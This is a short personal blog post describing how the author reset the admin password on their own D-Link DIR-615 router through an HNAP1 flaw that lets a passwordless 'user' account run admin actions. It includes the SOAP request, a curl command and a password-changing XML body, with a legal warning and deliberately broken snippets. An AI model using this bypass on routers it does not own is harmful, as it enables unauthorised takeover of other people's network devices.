musteresel's blog


Exploiting a HNAP1 security flaw on my D-Link DIR-615 router

2018-03-26

tagged: security, network

Because some wifi devices had connection issues with my “normal” router (with an integrated wifi access point) I decided to integrate an old D-Link DIR-615 router (with ap) I had still lying around into my wifi network and see whether the connection quality would improve.

Unfortunately I couldn’t remember the admin password I set when that router was still in use. That was kind of a déjà vu because I faced the same issue once when the router was still in use, too. Back then I couldn’t access the reset button due to the device being fixed to the wall. And pressing the reset button is boring either way, no?

Attention: IANAL, but doing the following with a device that you do not own or don’t have explicit (written) consent of the owner to perform these steps is illegal in probably all parts of the world. Moreover it’s probably possible to “brick” - permanently damage - your device.

The “Home Network Administration Protocol” allows querying and setting of configuration options on network devices (such as routers). It’s based on SOAP which effectively means that you’re sending HTTP POST messages with a special header and some XML.

For HNAP1 the special header is a:

SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings"

where the GetDeviceSettings part specifies what action you want to perform on the accessed device.

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xmlns:xsd="http://www.w3.org/2001/XMLSchema"
    xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
    soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <soap:Body>
    <GetDeviseSettings xmlns="http://purenetworks.com/HNAP1/">
    </GetDeviseSettings>
  </soap:Body>
  <!-- Header: -->
  <!-- SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings" -->
</soap:Envelope>

Sending the above with

curl -X POST \
  --header "SOAPAction: \"http://purenetworks.com/HNAP1/GetDeviceSettings\"" \
  --header "Authorization Basic dXNlcjo=" \
  --data @above_xml_in_a_file.xml

returns some XML with device information as well as supported SOAP actions on my DIR-615.

What’s that Authorization header? That’s just basic HTTP authentication for a user account and an empty password:

echo -n "user:" | base64
# dXNlcjo=

Now, on some other D-Link routers one can apparently fool the HNAP implementation by providing a SOAPAction header that doesn’t require authentication (like GetDeviceSettings) but specify an action (which will then get executed by the device) in the XML that would’ve required authentication (like SetDeviceSettings for changing the admin password) - and thus bypass any authentication or authorization.

That’s not the case for my DIR-615: it always requires authentication. Moreover, it also always executes the action specified in the SOAPAction header. But it doesn’t check whether the authenticated client is authorized to execute that action. Put simply: That user account with no password can do everything the admin can do.

So, to change the admin password all that needed was sending

<!-- ... -->
<SetDeviseSettings xmlns="http://purenetworks.com/HNAP1/">
    <AdminPassword>password</AdminPassword>
</SetDeviseSettings>
<!-- ... -->

Note: Errors in the code snippets shown on this page are intentional. Don’t copy and paste; think about what you want to do and whether it’s okay to do.